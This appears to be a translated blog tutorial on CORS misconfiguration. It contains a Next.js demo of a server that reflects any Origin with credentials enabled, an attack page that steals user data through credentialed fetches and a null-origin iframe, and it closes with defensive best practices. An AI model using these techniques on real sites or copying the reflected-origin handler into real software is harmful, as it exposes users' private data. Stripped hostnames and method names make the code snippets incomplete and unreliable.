Location>code7788 >text

A Brief Talk on CORS Attacks and Defense

Popularity:855 ℃/2024-09-19 11:50:55

We are.Kangaroo Cloud Stack UED Team, is committed to building an excellent one-stop data middleware product. We always maintain the spirit of craftsmanship and explore the front-end path to accumulate and spread the value of experience for the community.

This article was written by:sky clearing up

What is CORS

CORS (Cross Domain Resource Sharing) is a mechanism based on HTTP headers that relaxes the browser's same-origin policy to enable communication between websites with different domain names.

prior knowledge

Definition of same-origin: protocol, domain name and port number are the same as same-origin.

CORS main related headers:

Access-Control-Allow-Origin: specifies whether the resources of this response are allowed to be shared with the given source (origin).

Access-Control-Allow-Credentials: Used to tell the browser whether the response to a request can be exposed to front-end JavaScript code when the request asks for credentials.

CORS Usage

General Use

Assign the ACAO header to a specific source, Access-Control-Allow-Origin.

If the request needs to carry credentials (such as cookies, authorization headers, or TLS client certificates), the ACAC header needs to be set to true, Access-Control-Allow-Credentials: true.

In addition, the front-end request method needs to be configured with credentials

// XHR
const xhr = new XMLHttpRequest();
("GET", "/");
 = true;
();

// Fetch
fetch(url, {
  credentials: "include",
});

Common Misuse

Configuring Multiple Sources Simultaneously

Write multiple sources simultaneously in the ACAO header:

Access-Control-Allow-Origin: ,

Or multiple ACAO headers are set at the same time:

Access-Control-Allow-Origin: 
Access-Control-Allow-Origin: 

At this point the cross-domain request will report an error indicating that only one source can be configured:

file

Using wildcards in ACAO headers

Access-Control-Allow-Origin: *.

In this case, the cross-domain request will report an error indicating that the configured source is invalid:

file

ACAO configured as "*" but request carries credentials

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Cross-domain requests report an error indicating that the ACAO header cannot be "*" when carrying credentials:

file

usage summary

  • The value of the ACAO header can only be one of these three cases: *, the specified source (only 1 can be specified), or null.
  • When the ACAC header is set to true (when carrying credentials), the ACAO header must be set to a specified source.

Where to set the CORS header

proxy server

In Nginx configurations, response headers are typically set in the http, server, or location modules, with code examples:

add_header Access-Control-Allow-Origin ;
add_header Access-Control-Allow-Credentials true;
// (sth. or sb) else Access-Control number one spot on a list

back end

You can set it in the back-end code, and some of the back-end frameworks will also set the default value, the following is the default value setting of some software frameworks:

file

file

CORS vulnerability

In the process of cross-domain resource sharing, improper configuration of CORS leads to access requests that should be restricted, which can bypass the access control policy to read the data of the resource server, resulting in user privacy leakage, information theft and even account hijacking hazards.

Several configuration scenarios for CORS:

serial number Access-Control-Allow-Origin Access-Control-Allow-Credentials in the end
1 * true loophole exists
2 arbitrary source true loophole exists
3 Specify the specific source >. true No loopholes
4 null true loophole exists
5 * unsettled loophole exists
6 arbitrary source unsettled loophole exists
7 Specify a specific source unsettled No loopholes
8 null unsettled loophole exists

For situations1,Access-Control-Allow-Origin: *,Access-Control-Allow-Credentials: true:

  • If the request carries credentials, the browser will report an error requiring that the ACAO header cannot be *, in which case there is no vulnerability because the request fails outright.
  • If the request does not carry credentials (the request method does not set credentials), it is equivalent to case 5, and the request can be responded to normally, and if the server does not ask for credentials to be checked, the data will be returned.

For other vulnerabilities, it is possible to obtain the data returned by the request by some means, which will not be discussed in detail here.

Method of attack (bypass)

Attackable premise: CORS vulnerability in the target website

Using the null source

Any serialization of Origin using non-hierarchical protocols (such as data: or file:) for resources and sandboxed files is defined as "null", here the iframe tag is utilized and the value of the src is loaded directly as html using the data url format, and the request code is written in the < script> tag:

<iframe
  sandbox="allow-scripts allow-top-navigation allow-forms"
  src='data:text/html,<script>fetch(":4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
  ></iframe>

The request is made after the page loads this code:

Host: :4000
Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null

Since the Origin and ACAO headers match, the interface responds properly to get the data.

Use a domain name that matches the matching rules

For example, if the target domain name is , when the origin match rule contains a string, the attacking site can bypass the origin checksum in the following ways, so that the ACAO header of the request response is the attacking site, and thus make a successful cross-domain request.

  • The target domain name is used as a subdomain:
  • The attack domain contains subdomain strings:
  • Controls the subdomains of the target domain:

When the target site is directly using the Origin of the request header as the ACAO header of the response, it is equivalent to allowing any site to make cross-domain requests.

Sometimes the target site trusts certain third-party sites, such as some cloud service sites, and then if the attacker uses the same cloud service provider's product (with the same source), he or she can also launch cross-domain requests to the target site.

Attack Demo

Locally using Build two sites, one for :4000 and one for :3000.

target site implementation

The target site has an interface for querying user information, and there is a vulnerability in the CORS configuration that allows the home page of the target site to obtain user information through the interface.

file

The page code diagram is shown below:

'use client';
import { useState } from 'react';

const url = '/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = () => {
    setData('Request data...');
    fetch(url, { method: 'POST' })
      .then((res) => ())
      .then((data: Record<string, any>) => {
        setData((data, null, 2));
      })
      .catch(() => {
        setData('Request data失败');
      });
  };

  return (
    <div>
      <h3>This is target site</h3>
      <button onClick={getData} style={{ margin: "0 0 12px" }}>
        Getting data
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
    </div>
  );
}

The Query User Information interface sets the requested Origin directly to the ACAO header with the ACAC header set to true with the following code:

export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  const cors = Cors({
    origin: ,
    credentials: true,
    methods: ['POST', 'GET', 'HEAD'],
  });

  await runMiddleware(req, res, cors);

  ('Set-Cookie', 'user_name=admin; Domain=.; Expires=Fri, 26 Apr 2024 07:13:04 GMT; Path=/;');
  ({ username: 'admin' });
}

attack site implementation

The attack site can initiate a request to the target site to query the user information interface on the page.

file

The page implementation code is as follows:

'use client';
import { useState } from 'react';

const targetUrl = ':4000/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = (url: string) => {
    setData('Request data...');
    fetch(url, {
      method: 'POST',
      credentials: 'include',
    })
      .then((res) => ())
      .then((data: Record<string, any>) => {
        setData((data, null, 2));
      })
      .catch(() => {
        setData('Request data失败');
      });
  };

  return (
    <div>
      <h3>This is attack site</h3>
      <button
        onClick={() => getData(targetUrl)}
        style={{ margin: '0 12px 12px 0' }}
        >
        gaintargetdigital
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
      <iframe
        sandbox="allow-scripts allow-top-navigation allow-forms"
        src='data:text/html,<script>fetch(":4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
        ></iframe>
    </div>
  );
}

course of an attack

Get target site data

Open the attack page and request the target site's:4000/api/getUserInfoconnector

file

Request Header:

Host: :4000
Origin: :3000

Response Header:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: :3000

At this point, the user data of the target site is successfully obtained:

file

If you want to send cookies in non-same-site scenarios, the SameSite attribute needs to be None and the Secure attribute must also be set, which is only available when using the Https protocol. Testing with the latest versions of Chrome (v124), Edge (v124), and Firefox (v125), Firefox and Chrome do not send the target site cookie, while Edge does.

file

Defense approach (best practices)

  • Do not turn on CORS unless necessary.
  • Define a whitelist, strictly check the allowed sources, don't set the ACAO header to *, and try not to use regular for checking the origin to avoid matching errors.
  • Use https to prevent man-in-the-middle attacks.
  • Configure the Vary header to contain an Origin, e.g. Vary: Origin, and update the data when the requested Origin changes to avoid attackers exploiting the cache.
  • The ACAC header is not enabled when not necessary to prevent local credentials from being exploited by attackers.
  • Restricting the allowed request methods reduces risk by setting the allowed request methods via the Access-Control-Allow-Methods header.
  • Limit the caching time, set the caching time of the results returned from preflight requests via the Access-Control-Max-Age header to ensure that the browser can update the cache within a short period of time.
  • Configure only the required response headers, and configure the relevant headers only when a cross-domain request is received, reducing malicious exploitation by attackers.

Reference Links

  • /zh-CN/docs/Web/HTTP/CORS
  • /papers/cors-security-guide

ultimate

Welcome to [Kangaroo Cloud Digital Stack UED team]~
Kangaroo Cloud Digital Stack UED team continues to share the results of technology for the majority of developers, successively participated in the open source welcome star

  • Big Data Distributed Task Scheduler - Taier
  • Lightweight Web IDE UI framework - Molecule
  • SQL Parser Project for Big Data - dt-sql-parser
  • Kangaroo Cloud Digital Stack front-end team code review engineering practices document - code-review-practices
  • A faster, more flexible configuration and easier to use module packager - ko
  • A component testing library for antd - ant-design-testing